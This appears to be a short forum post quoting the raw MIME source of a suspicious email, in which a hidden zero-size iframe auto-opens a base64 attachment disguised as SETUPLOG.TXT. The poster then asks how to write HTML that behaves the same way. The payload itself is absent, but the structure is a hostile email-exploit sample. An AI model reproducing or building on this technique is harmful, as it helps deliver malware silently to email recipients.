I received a mail from a dude wich had attached a file.
When i set the cursor on the mail, it autoopens the attached file.
It looked like this:
Code:
--C67jOC0x025
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:EQZt8l7E height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--C67jOC0x025
--C67jOC0x025
Content-Type: application/octet-stream;
	name=SETUPLOG.TXT
Content-Transfer-Encoding: base64
Content-ID: <EQZt8l7E>
How do I do if I wanna write a HTML code that should do like this.